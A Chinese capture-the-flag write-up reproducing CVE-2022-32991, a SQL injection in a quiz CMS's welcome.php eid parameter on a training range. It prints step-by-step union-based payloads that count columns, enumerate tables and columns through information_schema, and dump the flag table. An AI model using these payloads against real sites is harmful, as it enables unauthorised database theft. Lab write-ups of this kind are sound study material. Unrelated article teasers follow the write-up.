春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)

文章目录

  • 前言
  • 一、CVE-2022-32991靶场简述
  • 二、找注入点
  • 三、CVE-2022-32991漏洞复现
    • 1、判断注入点
    • 2、爆显位个数
    • 3、爆显位位置
    • 4 、爆数据库名
    • 5、爆数据库表名
    • 7、爆数据库数据
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、CVE-2022-32991靶场简述

该CMS的welcome.php中存在SQL注入攻击。
靶场地址在春秋云境官网https://yunjing.ichunqiu.com/
在这里插入图片描述

二、找注入点

因为已经知道在此cms中的welcome.php中eid参数可以进行sql注入,那么我们的思路就是先找到注入地方。
1、首先进来是一个登录页面(如图所示)
在这里插入图片描述
这里是login.php的界面,显然不是我们要注入的地方。我们选择创建一个用户登录进去再去找注入点。而且这里登录框试了试sql注入,发现也是不行的。
2、登录进去发现了网址是welcome.php了,那么离flag更进一步了。(如图所示)
在这里插入图片描述
发现此时url的参数是q,显然不是eid,我们还得继续深入。感兴趣的小伙伴看到这里有参数也可以试一试有没有sql注入,但是肯定是没有的哈哈哈。
3、我们看到start的按钮,只能去点它了,看看是不是我们注入的地方,点进去发现(如图所示)
在这里插入图片描述
成功找到eid参数,那么我们就开始我们的sql手工注入吧。(我试了试n参数好像也是可以注入的)

三、CVE-2022-32991漏洞复现

  • 1、判断注入点
  • 2、爆显位个数
  • 3、爆显位位置
  • 4、爆数据库名
  • 5、爆数据库表名
  • 6、爆数据库列名
  • 7、爆数据库数据

1、判断注入点

(如图所示)这里我们老规矩抛出and 1=1 和 and 1=2测试。发现页面依旧正常,排除数字型。直接提交1’发现报错,报错信息为

Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result,
boolean given in /var/www/html/welcome.php on line 98

在这里插入图片描述

很大可能是单引号闭合了,因为我们多了个单引号,变成eid=‘60377db362694’'。后面多出来的单引号导致报错了。我们把它闭合看看是否变成正常界面。注入语句为

60377db362694'--+

发现是页面正常了。
在这里插入图片描述
那么这是一个单引号闭合的get提交的sql注入。

2、爆显位个数

注入语句为

eid=60377db362694' order by 6--+

发现6的时候报错,5正常。说明有5个显位。
在这里插入图片描述
在这里插入图片描述

3、爆显位位置

注入语句为

eid=60377db362694' union select 1,2,3,4,5--+

在这里插入图片描述
发现显位3

4 、爆数据库名

注入语句为

eid=60377db362694' union select 1,2,database(),4,5--+

得到数据库名为ctf
在这里插入图片描述

5、爆数据库表名

注入语句为

eid=60377db362694' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--+

在这里插入图片描述
得到所有表名user,options,quiz,admin,questions,history,rank,flag,answer
其中关键表名为flag

## 6、爆数据库列名
注入语句为

```sql
eid=60377db362694' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name="flag"--+

得到列名为flag
在这里插入图片描述

7、爆数据库数据

注入语句为

eid=60377db362694' union select 1,2,group_concat(flag),4,5 from flag --+

在这里插入图片描述
成功得到flag

总结

因为我们已经知道注入点的位置是在哪个目录下的哪个参数。如果我们不知道的话,就得找有可控参数的地方,并且参数有与数据库交互,而且没有严格过滤。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/144236.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

任意注册漏洞

目录 一漏洞介绍 二实战演示 三漏洞修复 本文由掌控安全学院 - 小博 投稿 一漏洞介绍 1.未验证邮箱/手机号 情景:应用为了方便用户记录用户名,使用邮箱和手机号作为用户名(因此很多应用在注册的时候就要求用户填写,多数时候…

java spring cloud 企业电子招标采购系统源码:营造全面规范安全的电子招投标环境,促进招投标市场健康可持续发展

功能描述 1、门户管理:所有用户可在门户页面查看所有的公告信息及相关的通知信息。主要板块包含:招标公告、非招标公告、系统通知、政策法规。 2、立项管理:企业用户可对需要采购的项目进行立项申请,并提交审批,查看所…

vscode远程连接服务器报错

报错: Bad owner or permissions on C:\\Users\\Alice/.ssh/config> 过程试图写入的管道不存在。 1.ping一下config里面ip 2.ping的通,不是网络问题 3.扩展 -> remote-ssh -> 设置 -> 扩展设置(红框) 4.输入config绝…

后端接口性能优化分析-2

常见思路 1.批量思想: 这个其实是一个最容易想到的代码层次的修改,其实对业务上来说,结果都是一样的,只不过这个涉及到了一件事就是,像数据库中发请求,是发十次还是发一次的问题。其原因最根本的还是&…

评论:AlexNet和CaffeNet有何区别?

一、说明 在这个故事中,我们回顾了AlexNet和CaffeNet。AlexNet 是2012 年ILSVRC(ImageNet 大规模视觉识别竞赛)的获胜者,这是一项图像分类竞赛。而CaffeNet是AlexNet的单GPU版,因此,我们平时在普通电脑的Al…

一文懂得电源模块过温保护测试方法 ate测试软件助力测试

过温保护测试是电源模块保护功能测试项目之一,也是电源模块测试的重要测试指标,以保证电源模块过温保护功能正常,确保电源模块不受损坏。用ate测试软件测试电源模块过温保护,不仅可以保证测试结果的准确性,还可以多维度…

revit获取FamilySymbol的name

因为想解析把Element的CategoryId跟FamilySymbolId解析并存下来,这样就可以还原Revit中项目浏览器,里面的族的结构层次了。 参考:Revit中“Category、Family、 Familysymbol、 FamilyInstance”之间的关系​​​​​​ 但是对于wall和floor等…

通过key在数仓里查询dt的时候报错

现象 Query failed (#20231114_080638_00103_iaf4c) in hive: line 3:11: Column tyc_web_company_workright cannot be resolved 原因 key应该被单引号括起来,字段名称才应该被双引号括起来 修改 把单引号换成双引号就好了

软件测试自学指南,十年阿里测试工程师的建议

通过技能提升,入行IT可以的,但得先积累足够的经验,才能拿高薪,有个成长的过程。 软件测试岗介绍 软件测试岗位主要负责系统的测试工作,属于IT项目中的质量管理(QA)模块。 这个岗位分为两种类…

Python+Appium自动化测试框架详解

appium简介 Appium 是一个开源的、跨平台的测试框架,可以用来测试 Native App、混合应用、移动 Web 应用(H5 应用)等,也是当下互联网企业实现移动自动化测试的重要工具。Appium、Appium-desktop、Appium Client 的区别是 Appium …

识别代理IP:保障网络安全的重要一环

在互联网的世界中,代理服务器被广泛用于隐藏用户真实IP地址,带来了一些挑战,特别是在网络安全和欺诈检测方面。本文将探讨如何识别代理IP,以确保网络的安全性和可靠性。 1. 代理IP的背景与用途 代理服务器是位于用户和目标服务器…

进程间通信--管道

一、为什么要有进程间通信(目的) 数据传输:一个进程需要将它的数据发送给另一个进程 资源共享:多个进程之间共享同样的资源。 通知事件:一个进程需要向另一个或一组进程发送消息,通知它(它们)发生了某种事…

cmake 开 asan 未生效

为什么有的时候 cmake 开 asan 没有生效 当使用CMake构建项目时,启用ASan(AddressSanitizer)的方式可能因为多种原因而没有生效。以下是一些常见的可能原因和解决方法: 1. 检查编译器和CMake版本:确保您使用的编译器…

一文解码语言模型:语言模型的原理、实战与评估

在本文中,我们深入探讨了语言模型的内部工作机制,从基础模型到大规模的变种,并分析了各种评价指标的优缺点。文章通过代码示例、算法细节和最新研究,提供了一份全面而深入的视角,旨在帮助读者更准确地理解和评估语言模…

功能强大的国产API管理神器 Eolink,亲测好用

前言 大家好,我是小月,今天给大家讲讲最近很火的Eolink,一款功能强大且非常实用的国产 API管理工具。在我们日常的前端、后端开发测试过程中经常会用到API,特别是在大型项目中API管理工具也就必不可少。工欲善其事必先利其器&…

git快速上传代码

① git init; 初始化git,之后在文件夹里有.git文件,这个需要 勾选才能查看。 ② git remote add test myFisrtTest: 测试专用 这里的test是自定义的,myFisrtTest: 测试专用 是远程仓库 ③ git branch -a 这里是查看分支 ④ …

Git推送本地代码到远程仓库

Git推送本地代码到远程仓库 1、首先需要安装Git,如果已经安装,请跳过。下载地址:https://git-for-windows.github.io/ 2、安装好git服务器后。首先找到你项目的文件夹,比如项目名称为Item,进入到这个文件夹&#xff0…

%与floormod方法区别

%求余数 计算步骤: 10 / -3 -3.333333........... %是向0方向取整,因此-3.3333.......取整数-3 10 % -3 10-(-3*-3) 1 floormod方法 计算步骤:floormod(10,-3) floormod是向负无穷方向取整,因此-3…

Java数据结构

Java 数据结构 数据结构主要包括以下几种接口和类: 枚举(Enumeration) 接口定义了一种从数据结构中取回连续元素的方式。 nextElement 的方法,该方法用来得到一个包含多元素的数据结构的下一个元素。 位集合(BitSet…

嵌入式行业算青春饭吗?

今日话题,嵌入式行业算青春饭吗?嵌入式行业的技术要求确实非常广泛,需要深厚的知识广度和深度。这意味着入行门槛较高,我们需要了解不仅是软件和硬件,还要熟悉底层接口和硬件信号的处理方式,了解数据在计算…